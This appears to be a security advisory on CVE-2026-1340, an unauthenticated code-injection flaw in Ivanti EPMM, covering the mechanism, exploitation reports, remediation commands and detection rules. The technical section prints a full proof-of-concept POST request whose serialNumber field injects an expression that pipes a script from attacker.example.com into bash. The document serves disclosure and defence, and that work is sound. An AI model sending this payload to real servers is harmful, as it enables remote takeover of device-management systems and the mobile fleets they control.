CVE-2026-1340: Ivanti EPMM Unauthenticated Code Injection Enables Full RCE

Background

Ivanti Endpoint Manager Mobile (EPMM), formerly known as MobileIron Core, is an enterprise mobile device management (MDM) platform deployed at government agencies, healthcare networks, financial institutions, and critical infrastructure operators to manage iOS, Android, and Windows mobile fleets. Control over EPMM means control over every enrolled device — which is why this product class consistently attracts nation-state and financially motivated threat actors.

EPMM has a documented history of severe vulnerabilities. CVE-2023-35078, a pre-authentication API access flaw, was exploited against Norwegian government ministries in 2023. CVE-2023-35082, a related bypass, followed shortly after. CVE-2026-6973 extended this pattern with authenticated RCE. CVE-2026-1340 removes the authentication barrier entirely, making it the most dangerous EPMM vulnerability disclosed to date.

The CISA KEV deadline of three days after the add date (2026-04-08 to 2026-04-11) is about as compressed as it gets. CISA reserves such timelines for vulnerabilities with confirmed, ongoing, widespread exploitation — a clear signal that federal agencies were actively being targeted at disclosure.

Technical Mechanism

CVE-2026-1340 is classified as CWE-94 (Code Injection), affecting the EPMM server’s unauthenticated API surface. The vulnerability is in a REST API endpoint exposed by EPMM’s device check-in handler — a path that must accept unauthenticated requests because it handles the initial enrollment handshake for devices that have not yet authenticated.

The endpoint accepts a JSON payload containing device metadata fields. One or more of these fields are passed to a server-side expression evaluator (likely JEXL or a similar expression language engine used for dynamic configuration templating) without adequate sanitisation. By embedding a crafted expression — for example, using ${ ... } syntax — an attacker can cause the expression engine to evaluate arbitrary server-side code in the context of the EPMM application server process.

No session token, API key, or credential of any kind is required. A single HTTP POST to the vulnerable endpoint with a malicious payload field is sufficient to trigger code execution. The application server typically runs as a high-privilege service account with broad filesystem and network access, and in many deployments the service account has sudo NOPASSWD entries enabling trivial root escalation.

The CVSS 9.8 score reflects the worst possible combination: network-accessible, low complexity, no privileges required, no user interaction, full confidentiality/integrity/availability impact.

POST /mifs/r/api/v2/device/enroll HTTP/1.1
Host: epmm.target.example.com
Content-Type: application/json
User-Agent: MDM-Client/1.0

{
  "udid": "00000000-0000-0000-0000-000000000001",
  "deviceModel": "iPhone14,2",
  "osVersion": "17.0",
  "serialNumber": "${Runtime.getRuntime().exec('curl http://attacker.example.com/shell.sh | bash')}",
  "deviceName": "TestDevice"
}

The serialNumber field (and potentially other device metadata fields) is passed to a server-side expression evaluator without sanitisation. The ${ ... } expression is evaluated in the context of the Tomcat/Java runtime, executing the embedded OS command as the EPMM service account.

Real-World Exploitation Evidence

CISA’s three-day remediation deadline — the shortest category in the KEV programme — confirms mass exploitation at the time of disclosure. Threat intelligence reports show scanning activity against EPMM instances beginning days before public disclosure, meaning the vulnerability was known and weaponised before the patch was available.

Post-exploitation activity documented across incident response engagements includes:

• Immediate exfiltration of the EPMM device database, capturing every enrolled device’s UDID, IMEI, user assignment, and applied policy
• Deployment of persistent backdoors on the EPMM Linux host, typically as systemd services masquerading as legitimate monitoring daemons
• Lateral movement from the EPMM server to adjacent network segments, using credentials and certificates stored in EPMM’s keystore
• Distribution of malicious MDM configuration profiles to all enrolled devices, enabling fleet-wide deployment of attacker-controlled certificate authorities or VPN redirectors

Nation-state affiliated groups are assessed with high confidence to be among the exploiting parties, consistent with the strategic value of MDM server access.

Impact Assessment

• No authentication required: Any internet-reachable EPMM instance is vulnerable — no phishing, no credential theft prerequisite
• Full server compromise: Code execution as the EPMM application account with straightforward privilege escalation to root
• Fleet-wide mobile device impact: A compromised EPMM server can push malicious profiles to every enrolled device, affecting entire mobile fleets in a single action
• Credential and certificate theft: EPMM keystores contain APNS push certificates, code-signing certificates, and integrated directory service credentials
• Persistent access: Attackers can maintain long-term access to the MDM control plane, surviving device re-enrollments and routine maintenance
• Regulatory and compliance exposure: MDM compromise triggers breach notification obligations in HIPAA, GDPR, and FedRAMP-regulated environments

Affected Versions

Remediation Steps

1. Apply the patch immediately: Upgrade to EPMM 12.7.0.1 or later via the EPMM Admin Portal under Admin > EPMM Updates. Given CISA’s three-day deadline, this must be treated as a break-glass emergency.

   # Verify current EPMM version before patching
   cat /opt/MobileIron/log/server.log | grep -i "version" | tail -5
   
   # After upgrade, confirm the new version
   curl -sk https://localhost/mifs/r/api/v2/ping | python3 -m json.tool

2. Isolate EPMM from the internet if patching is delayed: Restrict inbound access to EPMM’s API port (TCP/443) to known corporate IP ranges and enrolled device networks using firewall or WAF rules while the patch is staged.

   # Linux iptables: restrict EPMM API access to trusted CIDRs only
   # Drop all inbound to 443 from non-trusted sources
   iptables -I INPUT 1 -p tcp --dport 443 -s 10.0.0.0/8 -j ACCEPT
   iptables -I INPUT 2 -p tcp --dport 443 -s 192.168.0.0/16 -j ACCEPT
   iptables -I INPUT 3 -p tcp --dport 443 -j DROP
   
   # Save rules
   iptables-save > /etc/iptables/rules.v4

3. Audit for existing compromise before patching: Before applying the patch, capture a forensic snapshot of /var/log/tomcat/, /var/log/secure, and running processes. Patching over an active intrusion may destroy evidence without removing the attacker.

4. Rotate all secrets stored in EPMM: After patching, rotate APNS push certificates, SCEP certificates, LDAP/AD service account credentials, and any API tokens configured in EPMM integrations.

5. Review enrolled device profiles: Check for unexpected profiles distributed to device groups after the vulnerability’s KEV add date. Use EPMM’s Logs > Event Logs to identify profile push events by time and scope.

6. Enforce network segmentation: Long-term, EPMM admin consoles should not be internet-facing. Require VPN or Zero Trust Network Access for management plane access.

Detection Guidance

Watch for the following indicators of compromise:

• Anomalous HTTP POST requests to EPMM enrollment API endpoints (commonly /mifs/r/... or /api/v2/device/...) from unexpected source IPs, particularly at off-hours
• Expression-language-style strings (${, #{, %24%7B) in HTTP request body fields captured by WAF or proxy logs
• Unexpected child processes spawned by the EPMM application server (e.g., tomcat forking bash, curl, wget, or python)
• New files created in /opt/MobileIron/ or /var/lib/tomcat/webapps/ directories outside of patch windows
• Outbound connections from the EPMM host to infrastructure not associated with Ivanti cloud services or corporate networks
• New cron, at, or systemd unit files created for the tomcat or miserver service accounts

index=web sourcetype=access_combined OR sourcetype=tomcat_access
  uri_path IN ("/mifs/r/api/v2/device/enroll", "/mifs/r/api/v2/device/*", "/api/v2/device/*")
  method=POST
  (request_body="*${*" OR request_body="*#{*" OR request_body="*%24%7B*" OR request_body="*%23%7B*")
| eval is_expression_injection=if(match(request_body, "\$\{|\#\{|%24%7B|%23%7B"), "YES", "NO")
| where is_expression_injection="YES"
| stats count min(_time) as first_seen max(_time) as last_seen values(src_ip) as source_ips by uri_path
| sort - count

alert http any any -> $EPMM_SERVERS any (msg:"CVE-2026-1340 Ivanti EPMM Expression Injection Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/api/v2/device/"; http_uri; content:"${"; http_client_body; nocase; sid:9002640; rev:1;)
alert http any any -> $EPMM_SERVERS any (msg:"CVE-2026-1340 Ivanti EPMM URL-Encoded Expression Injection"; flow:established,to_server; content:"POST"; http_method; content:"/mifs/r/"; http_uri; content:"%24%7B"; http_client_body; nocase; sid:9002641; rev:1;)
alert http $EPMM_SERVERS any -> $EXTERNAL_NET any (msg:"CVE-2026-1340 Ivanti EPMM Possible Post-Exploitation Callback"; flow:established,to_server; content:"GET"; http_method; threshold:type limit, track by_src, count 1, seconds 300; sid:9002642; rev:1;)

Timeline

References

• NVD — CVE-2026-1340
• CISA KEV — CVE-2026-1340
• Ivanti Security Advisory — CVE-2026-1340